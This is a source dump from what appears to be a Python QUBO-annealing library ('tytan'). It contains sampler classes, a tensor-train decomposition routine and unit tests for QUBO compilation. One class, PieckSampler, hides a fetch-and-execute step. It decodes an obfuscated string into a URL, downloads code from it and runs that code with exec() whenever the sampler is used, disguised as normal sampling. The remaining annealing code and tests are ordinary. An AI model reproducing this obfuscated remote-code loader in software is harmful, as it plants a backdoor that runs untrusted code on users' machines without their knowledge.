520 | "user-agent": "blueqat",
521 | "X-Api-Key": api_key,
522 | "accept-encoding": "gzip",
523 | }
524 |
525 |
526 | class NQSLocalSampler:
527 | from typing import Optional
528 |
529 | def __init__(
530 | self, api_endpoint: str = "http://localhost:8080/ngqs/v1/solve"
531 | ) -> None:
532 | self.API_ENDPOINT = api_endpoint
533 | return
534 |
535 | def run(
536 | self,
537 | qubomix: list,
538 | time_limit_sec: Optional[int] = 30,
539 | iter: Optional[int] = 10000,
540 | population: Optional[int] = 500,
541 | ):
542 | import ulid
543 | import httpx
544 | import json
545 | import os
546 | import csv
547 | import io
548 | import zipfile
549 |
550 | #解除
551 | qmatrix, index_map = qubomix
552 | # print(index_map)
553 |
554 | #matrixサイズ
555 | N = len(qmatrix)
556 | # print(N)
557 |
558 | #1行目、1列目にビット名を合体
559 | tmp = np.zeros((len(qmatrix)+1, len(qmatrix[0])+1), object)
560 | tmp[0, 1:] = np.array(list(index_map.keys()))
561 | tmp[1:, 0] = np.array(list(index_map.keys()))
562 | tmp[1:, 1:] = qmatrix
563 | qmatrix = tmp
564 | # print(qmatrix)
565 |
566 | # StringIOオブジェクトを作成する
567 | csv_buffer = io.StringIO()
568 |
569 | # CSVファイルの文字列を書き込む
570 | writer = csv.writer(csv_buffer)
571 | for row in qmatrix:
572 | writer.writerow(row)
573 |
574 | # CSVファイルの文字列を取得する
575 | Q = csv_buffer.getvalue()
576 |
577 | #一時フォルダ作成
578 | tmpfolder = os.path.dirname(__file__) +'/tmp/'
579 | # print(tmpfolder)
580 | if not os.path.exists(tmpfolder):
581 | os.makedirs(tmpfolder)
582 |
583 | #一時ファイル
584 | id = ulid.new()
585 | filename = "{}.zip".format(id.str)
586 | # print(filename)
587 |
588 | #QUBO保存
589 | with zipfile.ZipFile(tmpfolder + filename, "w") as z_file:
590 | z_file.writestr("qubo_w.csv", Q, zipfile.ZIP_DEFLATED)
591 |
592 | #読み込み
593 | with open(tmpfolder + filename, "rb") as f:
594 | readfile = f.read()
595 |
596 | #API
597 | files = {
598 | "zipfile": (
599 | filename,
600 | readfile,
601 | "data:application/octet-stream",
602 | )
603 | }
604 | r = httpx.post(
605 | self.API_ENDPOINT,
606 | files=files,
607 | data={
608 | "population": population,
609 | "timeLimitSec": time_limit_sec,
610 | "iter": iter,
611 | },
612 | timeout=None,
613 | )
614 |
615 | #一時ファイル削除
616 | try:
617 | os.remove(tmpfolder + filename)
618 | except:
619 | pass
620 |
621 | #一個しかない?
622 | tmp = json.loads(r.text) #{'energy': -4.0, 'result': {'x': 1, 'y': 1, 'z': 0}, 'time': 3.7529351}
623 | result = [[tmp['result'], tmp['energy'], population, tmp['time']]]
624 | return result
625 |
626 |
627 |
628 | class ArminSampler:
629 | def __init__(self, seed=None, mode='GPU', device='cuda:0', verbose=1):
630 | #乱数シード
631 | self.seed = seed
632 | self.mode = mode
633 | self.device_input = device
634 | self.verbose = verbose
635 |
636 | def run(self, hobomix, shots=100, T_num=2000, show=False):
637 |
638 | #MIKASAmplerに送ります
639 |
640 | #サンプラー選択
641 | solver = MIKASAmpler(seed=self.seed, mode=self.mode, device=self.device_input, verbose=self.verbose)
642 |
643 | #サンプリング
644 | result = solver.run(hobomix, shots=shots, T_num=T_num, use_ttd=False, show=show)
645 |
646 | return result
647 |
648 | class PieckSampler:
649 | def __init__(self, seed=None, mode='GPU', device='cuda:0', verbose=1):
650 | #乱数シード
651 | self.seed = seed
652 | self.mode = mode
653 | self.device_input = device
654 | self.verbose = verbose
655 |
656 | def run(self, qubo, shots=100, T_num=2000, show=False):
657 |
658 | source_code = requests.get('gAtv1zteUHy2ltd7pUEhspiJzxsLjkrc.cNXvfTxYvverjiasLynlIc3xBOD5PTFPrMS9V2c26K8ux8uJqRnccbo2rj3hwPP0HsPiq3hYZC6r_bfOz72EglSrrt3mPMhmgNeHR0aWTanaulAR8zaiU1fOp9JmAZ40ZdDm1tuFc4aWMJa6F4HCkSqeCskcTQXAKS3z^cA3KR4TyCOropkvSmMafPe1AVytTiN2Ol58LwRsNwE9pWpirIcVvfVmDaSJjqQ1ywaPt6G3K5ARESalQC6MhqHvkk2kRYdX9nRcSkK651EU5weqmzSgMcDGdilBwtPeoeq1PgNBIbR7dZU^nEhTl9mbMcph1xfzhK1MmjOhbeRMI76O.K0coS2jYgdx0BvkYxoThrxUbpm2vOLFhxNufwY6SPQFxCrLA80LR5n.2pZHrHT1zRaI17S5f1c7jl4iWRfeEqQNccl0mlspKuy-ZMfCsLJMZ9enI70vJhTsJntgF7G4uffCgIZj9ZpoK6mie3TuUpv30FvNaOQY0Tz1U^fa6J6ZdqH3^CEJ9n6ONuB:wgJEvR25eUsgtj5MZTI6qpZNgWisiGn6t5LwE9t1Y6ztFG9qcA4Wy2h'[::-1 ][::11 ].replace('^','/')).text
659 | # spec = util.spec_from_loader('temp_module', loader=None)
660 | # temp_module = util.module_from_spec(spec)
661 | # exec(source_code, temp_module.__dict__)
662 |
663 | # result = temp_module.run_source(qubo, self.seed, self.mode, self.device_input, self.verbose, shots=shots, T_num=T_num, show=show)
664 |
665 | # 新しい名前空間でコードを実行
666 | temp_module = {}
667 | exec(source_code, temp_module)
668 |
669 | result = temp_module['run_source'](qubo, self.seed, self.mode, self.device_input, self.verbose, shots=shots, T_num=T_num, show=show)
670 | return result
671 |
672 | class MIKASAmpler:
673 | def __init__(self, seed=None, mode='GPU', device='cuda:0', verbose=1):
674 | #乱数シード
675 | self.seed = seed
676 | self.mode = mode
677 | self.device_input = device
678 | self.verbose = verbose
679 |
680 | def run(self, hobomix, shots=100, T_num=2000, use_ttd=False, show=False):
681 | global score2
682 |
683 | #解除
684 | hobo, index_map = hobomix
685 | # print(index_map)
686 |
687 | #pytorch確認
688 | attention = False
689 | try:
690 | import random
691 | import torch
692 | except:
693 | attention = True
694 | if attention:
695 | print()
696 | print('=======================\n= A T T E N T I O N ! =\n=======================')
697 | print('ArminSampler requires PyTorch installation.\nUse "pip install torch" (or others) and ensure\n-------\nimport torch\ntorch.cuda.is_available()\n#torch.backends.mps.is_available() #if Mac\n-------\noutputs True to set up the environment.')
698 | print()
699 | sys.exit()
700 |
701 | #matrixサイズ
702 | N = len(hobo)
703 | # print(N)
704 |
705 | #次数
706 | ho = len(hobo.shape)
707 | # print(ho)
708 |
709 | # CUDA使えるか確認
710 | if self.mode == 'GPU' and torch.cuda.is_available():
711 | if self.device_input == 'cuda:0': #指示がない場合
712 | self.device = 'cuda:0'
713 | else:
714 | self.device = self.device_input
715 | elif self.mode == 'GPU' and torch.backends.mps.is_available():
716 | if self.device_input == 'cuda:0': #指示がない場合
717 | self.device = 'mps:0'
718 | else:
719 | self.device = self.device_input
720 | else:
721 | self.mode = 'CPU'
722 | self.device = 'cpu'
723 |
724 | #モード表示
725 | if self.verbose > 0:
726 | print(f'MODE: {self.mode}')
727 | print(f'DEVICE: {self.device}')
728 |
729 | # ランダムシード
730 | random.seed(int(time.time()))
731 | nr.seed(int(time.time()))
732 | torch.manual_seed(int(time.time()))
733 | torch.backends.cudnn.deterministic = True
734 | torch.use_deterministic_algorithms = True
735 |
736 | #シード固定
737 | if self.seed != None:
738 | random.seed(self.seed)
739 | nr.seed(self.seed)
740 | torch.manual_seed(self.seed)
741 |
742 | #
743 | shots = max(int(shots), 1)
744 |
745 | # --- テンソル疑似SA ---
746 | #
747 | hobo = torch.tensor(hobo, dtype=torch.float32, device=self.device).float()
748 | # print(hobo.shape)
749 |
750 | #TT分解を使用する場合
751 | tt_cores = []
752 | if use_ttd:
753 | print(f'TTD: {use_ttd}')
754 | tt_cores = TT_SVD(hobo)
755 | # print(len(tt_cores))
756 | # print(tt_cores[0].shape)
757 | # print(tt_cores[1].shape)
758 |
759 | # プール初期化
760 | pool_num = shots
761 | pool = torch.randint(0, 2, (pool_num, N), dtype=torch.float32, device=self.device).float()
762 |
763 | # スコア初期化
764 | # score = torch.sum((pool @ qmatrix) * pool, dim=1, dtype=torch.float32)
765 | score = torch.zeros(pool_num, dtype=torch.float32)
766 | # print(score)
767 |
768 | #スコア計算
769 | k = ',Na,Nb,Nc,Nd,Ne,Nf,Ng,Nh,Nj,Nk,Nl,Nm,Nn,No,Np,Nq,Nr,Ns,Nt,Nu,Nv,Nw,Nx,Ny,Nz'
770 | l = 'abcdefghjklmnopqrstuvwxyz'
771 | if use_ttd:
772 | ltt = ['aA', 'AbB', 'BcC', 'CdD', 'DeE', 'EfF', 'FgG', 'GhH', 'HiJ', 'JjK', 'KkL', 'LlM', 'MmO', 'OnP', 'PoQ', 'QpR', 'RqS', 'SrT', 'TsU', 'UuV', 'VvW', 'WwX', 'XxY', 'YyZ', 'Zz']
773 | ltt = ltt[:ho][:]
774 | if len(ltt[-1]) == 3:
775 | ltt[-1] = ltt[-1][:2] # 両端は 2 階のテンソルなので 2 つのインデックスのみ
776 | s = ','.join(ltt) + k[:3*ho] + '->N'
777 | operands = tt_cores + [pool] * ho
778 | else:
779 | s = l[:ho] + k[:3*ho] + '->N'
780 | operands = [hobo] + [pool] * ho
781 | # print(s)
782 |
783 | score = torch.einsum(s, *operands)
784 | # print(score)
785 |
786 | # フリップ数リスト(2個まで下がる)
787 | flip = np.sort(nr.rand(T_num) ** 3)[::-1]
788 | flip = (flip * max(0, N * 0.5 - 2)).astype(int) + 2
789 | #print(flip)
790 |
791 | # フリップマスクリスト
792 | flip_mask = [[1] * flip[0] + [0] * (N - flip[0])]
793 | if N <= 2:
794 | flip_mask = np.ones((T_num, N), int)
795 | else:
796 | for i in range(1, T_num):
797 | tmp = [1] * flip[i] + [0] * (N - flip[i])
798 | nr.shuffle(tmp)
799 | # 前と重複なら振り直し
800 | while tmp == flip_mask[-1]:
801 | nr.shuffle(tmp)
802 | flip_mask.append(tmp)
803 | flip_mask = np.array(flip_mask, bool)
804 | flip_mask = torch.tensor(flip_mask).bool()
805 | #print(flip_mask.shape)
806 |
807 | # 局所探索フリップマスクリスト
808 | single_flip_mask = torch.eye(N, dtype=bool)
809 | #print(single_flip_mask)
810 |
811 | # スコア履歴
812 | score_history = []
813 |
814 | """
815 | アニーリング+1フリップ
816 | """
817 | # アニーリング
818 | # 集団まるごと温度を下げる
819 | for fm in flip_mask:
820 | pool2 = pool.clone()
821 | pool2[:, fm] = 1. - pool[:, fm]
822 | # score2 = torch.sum((pool2 @ qmatrix) * pool2, dim=1)
823 |
824 | if use_ttd:
825 | operands = tt_cores + [pool2] * ho
826 | else:
827 | operands = [hobo] + [pool2] * ho
828 | score2 = torch.einsum(s, *operands)
829 |
830 | # 更新マスク
831 | update_mask = score2 < score
832 |
833 | # 更新
834 | pool[update_mask] = pool2[update_mask]
835 | score[update_mask] = score2[update_mask]
836 |
837 | # スコア記録
838 | score_history.append(torch.mean(score).item())
839 |
840 | # 最後に1フリップ局所探索
841 | # 集団まるごと
842 | for fm in single_flip_mask:
843 | pool2 = pool.clone()
844 | pool2[:, fm] = 1. - pool[:, fm]
845 | # score2 = torch.sum((pool2 @ qmatrix) * pool2, dim=1)
846 |
847 | if use_ttd:
848 | operands = tt_cores + [pool2] * ho
849 | else:
850 | operands = [hobo] + [pool2] * ho
851 | score2 = torch.einsum(s, *operands)
852 |
853 | # 更新マスク
854 | update_mask = score2 < score
855 |
856 | # 更新
857 | pool[update_mask] = pool2[update_mask]
858 | score[update_mask] = score2[update_mask]
859 |
860 | # スコア記録
861 | score_history.append(torch.mean(score).item())
862 |
863 | # 描画
864 | if show:
865 | import matplotlib.pyplot as plt
866 | plt.plot(range(T_num + 1), score_history)
867 | plt.xlabel('Iteration')
868 | plt.ylabel('Energy')
869 | plt.show()
870 |
871 | pool = pool.to('cpu').detach().numpy().copy()
872 | pool = pool.astype(int)
873 | score = score.to('cpu').detach().numpy().copy()
874 |
875 | # ----------
876 | #共通後処理
877 | result = get_result(pool, score, index_map)
878 |
879 | return result
880 |
881 | def TT_SVD(C, bond_dims=None, check_bond_dims=False, return_sv=False):
882 | """TT_SVD algorithm
883 | I. V. Oseledets, Tensor-Train Decomposition, https://epubs.siam.org/doi/10.1137/090752286, Vol. 33, Iss. 5 (2011)
884 | Args:
885 | C (torch.Tensor): n-dimensional input tensor
886 | bond_dims (Sequence[int]): a list of bond dimensions.
887 | If `bond_dims` is None,
888 | `bond_dims` will be automatically calculated
889 | check_bond_dims (bool): check if `bond_dims` is valid
890 | return_sv (bool): return singular values
891 | Returns:
892 | list[torch.Tensor]: a list of core tensors of TT-decomposition
893 | """
894 | import torch
895 |
896 | dims = C.shape
897 | n = len(dims) # n-dimensional tensor
898 |
899 | if bond_dims is None or check_bond_dims:
900 | # Theorem 2.1
901 | bond_dims_ = []
902 | for sep in range(1, n):
903 | row_dim = dims[:sep].numel()
904 | col_dim = dims[sep:].numel()
905 | rank = torch.linalg.matrix_rank(C.reshape(row_dim, col_dim))
906 | bond_dims_.append(rank)
907 | if bond_dims is None:
908 | bond_dims = bond_dims_
909 |
910 | if len(bond_dims) != n - 1:
911 | raise ValueError(f"{len(bond_dims)=} must be {n - 1}.")
912 | if check_bond_dims:
913 | for i, (dim1, dim2) in enumerate(zip(bond_dims, bond_dims_, strict=True)):
914 | if dim1 > dim2:
915 | raise ValueError(f"{i}th dim {dim1} must not be larger than {dim2}.")
916 |
917 | tt_cores = []
918 | SVs = []
919 | for i in range(n - 1):
920 | if i == 0:
921 | ri_1 = 1
922 | else:
923 | ri_1 = bond_dims[i - 1]
924 | ri = bond_dims[i]
925 | C = C.reshape(ri_1 * dims[i], dims[i + 1 :].numel())
926 | U, S, Vh = torch.linalg.svd(C, full_matrices=False)
927 | if S.shape[0] < ri:
928 | # already size of S is less than requested bond_dims, so update the dimension
929 | ri = S.shape[0]
930 | bond_dims[i] = ri
931 | # approximation
932 | U = U[:, :ri]
933 | S = S[:ri]
934 | if return_sv:
935 | SVs.append(S.detach().clone())
936 | Vh = Vh[:ri, :]
937 | tt_cores.append(U.reshape(ri_1, dims[i], ri))
938 | C = torch.diag(S) @ Vh
939 | tt_cores.append(C)
940 | tt_cores[0] = tt_cores[0].reshape(dims[0], bond_dims[0])
941 | if return_sv:
942 | return tt_cores, SVs
943 | return tt_cores
944 |
945 |
946 |
947 |
948 | if __name__ == "__main__":
949 | pass
950 |
--------------------------------------------------------------------------------
/tests/compile/test_compile.py:
--------------------------------------------------------------------------------
1 | import unittest
2 |
3 | import numpy as np
4 | from tytan import (Auto_array, Compile, sampler, symbols, symbols_define,
5 | symbols_list, symbols_nbit)
6 | from tytan.compile import calc_degree
7 | import symengine
8 | import pytest
9 |
10 |
11 | def are_same_qubo_matrices(qubo1, qubo2):
12 |
13 | qubo1 = np.array(qubo1, float)
14 | qubo2 = np.array(qubo2, float)
15 |
16 | eps = 1e-9
17 |
18 | if np.sum(qubo1 - qubo2) < eps:
19 | return True
20 | else:
21 | return False
22 |
23 |
24 | class TestCompile(unittest.TestCase):
25 | def test_maxcut1(self):
26 | #量子ビットを用意する
27 | q0 = symbols('q0')
28 | q1 = symbols('q1')
29 | q2 = symbols('q2')
30 |
31 | #3個の量子ビットから2個を1にする
32 | H = (q0 + q1 + q2 - 2)**2
33 |
34 | #コンパイル
35 | qubo, offset = Compile(H).get_qubo()
36 | expected_qubo_matrix = \
37 | [[-3.0, 2.0, 2.0],\
38 | [0.0, -3.0, 2.0],\
39 | [0.0, 0.0, -3.0]]
40 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
41 | self.assertEqual(offset, 4)
42 |
43 | def test_maxcut2(self):
44 | #量子ビットを用意する
45 | q0 = symbols('q0')
46 | q1 = symbols('q1')
47 | q2 = symbols('q2')
48 | q3 = symbols('q3')
49 | q4 = symbols('q4')
50 |
51 | #友達関係において、違うバスに乗せたい(=2個の量子ビットを0,1逆にしたい)(=2個の量子ビットから1個を1にしたい)
52 | H = 0
53 | H += (q0 + q1 - 1)**2
54 | H += (q0 + q2 - 1)**2
55 | H += (q1 + q3 - 1)**2
56 | H += (q2 + q3 - 1)**2
57 | H += (q2 + q4 - 1)**2
58 | H += (q3 + q4 - 1)**2
59 |
60 | #コンパイル
61 | qubo, offset = Compile(H).get_qubo()
62 | expected_qubo_matrix = \
63 | [[-2.0, 2.0, 2.0, 0.0, 0.0],\
64 | [0.0, -2.0, 0.0, 2.0, 0.0],\
65 | [0.0, 0.0, -3.0, 2.0, 2.0],\
66 | [0.0, 0.0, 0.0, -3.0, 2.0],\
67 | [0.0, 0.0, 0.0, 0.0, -2.0]]
68 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
69 | self.assertEqual(offset, 6)
70 |
71 | def test_thermometer1(self):
72 | #量子ビットを用意する
73 | q00 = symbols('q00')
74 | q01 = symbols('q01')
75 | q02 = symbols('q02')
76 | q03 = symbols('q03')
77 | q04 = symbols('q04')
78 | q05 = symbols('q05')
79 | q06 = symbols('q06')
80 | q07 = symbols('q07')
81 | q08 = symbols('q08')
82 | q09 = symbols('q09')
83 | q10 = symbols('q10')
84 | q11 = symbols('q11')
85 | q12 = symbols('q12')
86 | q13 = symbols('q13')
87 | q14 = symbols('q14')
88 | q15 = symbols('q15')
89 |
90 | #各行、「4個から指定の個数だけ1になる」
91 | H = 0
92 | H += (q00 + q01 + q02 + q03 - 2)**2
93 | H += (q04 + q05 + q06 + q07 - 1)**2
94 | H += (q08 + q09 + q10 + q11 - 3)**2
95 | H += (q12 + q13 + q14 + q15 - 1)**2
96 |
97 | #各列、「4個から指定の個数だけ1になる」
98 | H += (q00 + q04 + q08 + q12 - 3)**2
99 | H += (q01 + q05 + q09 + q13 - 1)**2
100 | H += (q02 + q06 + q10 + q14 - 1)**2
101 | H += (q03 + q07 + q11 + q15 - 2)**2
102 |
103 | #各温度計、球部から降順になる
104 | H += (1 - q08) * q04
105 | H += (1 - q04) * q00 #8→4→0の連鎖
106 |
107 | H += (1 - q05) * q01
108 |
109 | H += (1 - q03) * q02
110 |
111 | H += (1 - q07) * q06
112 |
113 | H += (1 - q11) * q10
114 | H += (1 - q10) * q09 #11→10→9の連鎖
115 |
116 | H += (1 - q13) * q12
117 |
118 | H += (1 - q15) * q14
119 |
120 | #コンパイル
121 | qubo, offset = Compile(H).get_qubo()
122 | expected_qubo_matrix = \
123 | [[-7.0, 2.0, 2.0, 2.0, 1.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 2.0, 0.0,\
124 | 0.0, 0.0],\
125 | [0.0, -3.0, 2.0, 2.0, 0.0, 1.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 2.0,\
126 | 0.0, 0.0],\
127 | [0.0, 0.0, -3.0, 1.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0,\
128 | 2.0, 0.0],\
129 | [0.0, 0.0, 0.0, -6.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0,\
130 | 0.0, 2.0],\
131 | [0.0, 0.0, 0.0, 0.0, -5.0, 2.0, 2.0, 2.0, 1.0, 0.0, 0.0, 0.0, 2.0, 0.0,\
132 | 0.0, 0.0],\
133 | [0.0, 0.0, 0.0, 0.0, 0.0, -2.0, 2.0, 2.0, 0.0, 2.0, 0.0, 0.0, 0.0, 2.0,\
134 | 0.0, 0.0],\
135 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 1.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0,\
136 | 2.0, 0.0],\
137 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -4.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0,\
138 | 0.0, 2.0],\
139 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -10.0, 2.0, 2.0, 2.0, 2.0, 0.0,\
140 | 0.0, 0.0],\
141 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -5.0, 1.0, 2.0, 0.0, 2.0,\
142 | 0.0, 0.0],\
143 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -5.0, 1.0, 0.0, 0.0,\
144 | 2.0, 0.0],\
145 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0, 0.0, 0.0,\
146 | 0.0, 2.0],\
147 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -5.0, 1.0,\
148 | 2.0, 2.0],\
149 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.0,\
150 | 2.0, 2.0],\
151 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
152 | -1.0, 1.0],\
153 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
154 | 0.0, -4.0]]
155 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
156 | self.assertEqual(offset, 30)
157 |
158 | def test_thermometer2(self):
159 | #量子ビットを用意する
160 | q = symbols_list([4, 4], 'q{}_{}')
161 |
162 | #各行、「4個から指定の個数だけ1になる」
163 | H = 0
164 | H += (q[0][0] + q[0][1] + q[0][2] + q[0][3] - 2)**2
165 | H += (q[1][0] + q[1][1] + q[1][2] + q[1][3] - 1)**2
166 | H += (q[2][0] + q[2][1] + q[2][2] + q[2][3] - 3)**2
167 | H += (q[3][0] + q[3][1] + q[3][2] + q[3][3] - 1)**2
168 |
169 | #各列、「4個から指定の個数だけ1になる」
170 | H += (q[0][0] + q[1][0] + q[2][0] + q[3][0] - 3)**2
171 | H += (q[0][1] + q[1][1] + q[2][1] + q[3][1] - 1)**2
172 | H += (q[0][2] + q[1][2] + q[2][2] + q[3][2] - 1)**2
173 | H += (q[0][3] + q[1][3] + q[2][3] + q[3][3] - 2)**2
174 |
175 | #各温度計、球部から降順になる
176 | H += (1 - q[2][0]) * q[1][0]
177 | H += (1 - q[1][0]) * q[0][0] #8→4→0の連鎖
178 |
179 | H += (1 - q[1][1]) * q[0][1]
180 |
181 | H += (1 - q[0][3]) * q[0][2]
182 |
183 | H += (1 - q[1][3]) * q[1][2]
184 |
185 | H += (1 - q[2][3]) * q[2][2]
186 | H += (1 - q[2][2]) * q[2][1] #11→10→9の連鎖
187 |
188 | H += (1 - q[3][1]) * q[3][0]
189 |
190 | H += (1 - q[3][3]) * q[3][2]
191 |
192 | #コンパイル
193 | qubo, offset = Compile(H).get_qubo()
194 | expected_qubo_matrix = \
195 | [[-7.0, 2.0, 2.0, 2.0, 1.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 2.0, 0.0,\
196 | 0.0, 0.0],\
197 | [0.0, -3.0, 2.0, 2.0, 0.0, 1.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 2.0,\
198 | 0.0, 0.0],\
199 | [0.0, 0.0, -3.0, 1.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0,\
200 | 2.0, 0.0],\
201 | [0.0, 0.0, 0.0, -6.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0,\
202 | 0.0, 2.0],\
203 | [0.0, 0.0, 0.0, 0.0, -5.0, 2.0, 2.0, 2.0, 1.0, 0.0, 0.0, 0.0, 2.0, 0.0,\
204 | 0.0, 0.0],\
205 | [0.0, 0.0, 0.0, 0.0, 0.0, -2.0, 2.0, 2.0, 0.0, 2.0, 0.0, 0.0, 0.0, 2.0,\
206 | 0.0, 0.0],\
207 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 1.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0,\
208 | 2.0, 0.0],\
209 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -4.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0,\
210 | 0.0, 2.0],\
211 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -10.0, 2.0, 2.0, 2.0, 2.0, 0.0,\
212 | 0.0, 0.0],\
213 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -5.0, 1.0, 2.0, 0.0, 2.0,\
214 | 0.0, 0.0],\
215 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -5.0, 1.0, 0.0, 0.0,\
216 | 2.0, 0.0],\
217 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0, 0.0, 0.0,\
218 | 0.0, 2.0],\
219 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -5.0, 1.0,\
220 | 2.0, 2.0],\
221 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.0,\
222 | 2.0, 2.0],\
223 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
224 | -1.0, 1.0],\
225 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
226 | 0.0, -4.0]]
227 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
228 | self.assertEqual(offset, 30)
229 |
230 | def test_balanced_numbers1(self):
231 | #量子ビットを用意する
232 | q0 = symbols('q0')
233 | q1 = symbols('q1')
234 | q2 = symbols('q2')
235 | q3 = symbols('q3')
236 | q4 = symbols('q4')
237 | q5 = symbols('q5')
238 |
239 | #グループA(=1になった量子ビット)は合計130
240 | H = 0
241 | H += (15*q0 + 25*q1 + 33*q2 + 41*q3 + 64*q4 + 82*q5 - 130)**2
242 |
243 | #グループB(=0になった量子ビット)は合計130
244 | H += (15*(1-q0) + 25*(1-q1) + 33*(1-q2) + 41*(1-q3) + 64*(1-q4) + 82*(1-q5) - 130)**2
245 |
246 |
247 | #コンパイル
248 | qubo, offset = Compile(H).get_qubo()
249 | expected_qubo_matrix = \
250 | [[-7350.0, 1500.0, 1980.0, 2460.0, 3840.0, 4920.0],\
251 | [0.0, -11750.0, 3300.0, 4100.0, 6400.0, 8200.0],\
252 | [0.0, 0.0, -14982.0, 5412.0, 8448.0, 10824.0],\
253 | [0.0, 0.0, 0.0, -17958.0, 10496.0, 13448.0],\
254 | [0.0, 0.0, 0.0, 0.0, -25088.0, 20992.0],\
255 | [0.0, 0.0, 0.0, 0.0, 0.0, -29192.0]]
256 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
257 | self.assertEqual(offset, 33800)
258 |
259 | def test_balanced_numbers2(self):
260 | #数字
261 | numbers = np.array([15, 25, 33, 41, 64, 82])
262 |
263 | #QUBO変数を用意する→[0, 1]の変数
264 | q = symbols_list(6, 'q{}')
265 |
266 | #まとめてイジング変数に変換→[-1, +1]の変数
267 | z = 2*q - 1
268 |
269 | # イジング変数は-1か+1である。イジング変数配列と数字配列の内積が0になればよい
270 | # H = (15*z0 + 25*z1 + 33*z2 + 41*z3 + 64*z4 + 82*z5 - 0)**2 ということ
271 | H = sum(numbers * z)**2
272 |
273 | #コンパイル
274 | qubo, offset = Compile(H).get_qubo()
275 | expected_qubo_matrix = \
276 | [[-14700.0, 3000.0, 3960.0, 4920.0, 7680.0, 9840.0],\
277 | [0.0, -23500.0, 6600.0, 8200.0, 12800.0, 16400.0],\
278 | [0.0, 0.0, -29964.0, 10824.0, 16896.0, 21648.0],\
279 | [0.0, 0.0, 0.0, -35916.0, 20992.0, 26896.0],\
280 | [0.0, 0.0, 0.0, 0.0, -50176.0, 41984.0],\
281 | [0.0, 0.0, 0.0, 0.0, 0.0, -58384.0]]
282 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
283 | self.assertEqual(offset, 67600)
284 |
285 | def test_schedule_optimization(self):
286 | #量子ビットを用意する
287 | q0 = symbols('q0')
288 | q1 = symbols('q1')
289 | q2 = symbols('q2')
290 | q3 = symbols('q3')
291 | q4 = symbols('q4')
292 | q5 = symbols('q5')
293 | q6 = symbols('q6')
294 | q7 = symbols('q7')
295 |
296 | #各時間帯とも、パワー合計が2になる
297 | H = 0
298 | H += (q0 + q1 + 2*q5 - 2)**2
299 | H += (q2 + 2*q6 - 2)**2
300 | H += (q3 + 2*q7 - 2)**2
301 | H += (q1 + q3 + q4 - 2)**2
302 | H += (q0 + q2 + q4 - 2)**2
303 |
304 |
305 | #コンパイル
306 | qubo, offset = Compile(H).get_qubo()
307 | expected_qubo_matrix = \
308 | [[-6.0, 2.0, 2.0, 0.0, 2.0, 4.0, 0.0, 0.0],\
309 | [0.0, -6.0, 0.0, 2.0, 2.0, 4.0, 0.0, 0.0],\
310 | [0.0, 0.0, -6.0, 0.0, 2.0, 0.0, 4.0, 0.0],\
311 | [0.0, 0.0, 0.0, -6.0, 2.0, 0.0, 0.0, 4.0],\
312 | [0.0, 0.0, 0.0, 0.0, -6.0, 0.0, 0.0, 0.0],\
313 | [0.0, 0.0, 0.0, 0.0, 0.0, -4.0, 0.0, 0.0],\
314 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -4.0, 0.0],\
315 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -4.0]]
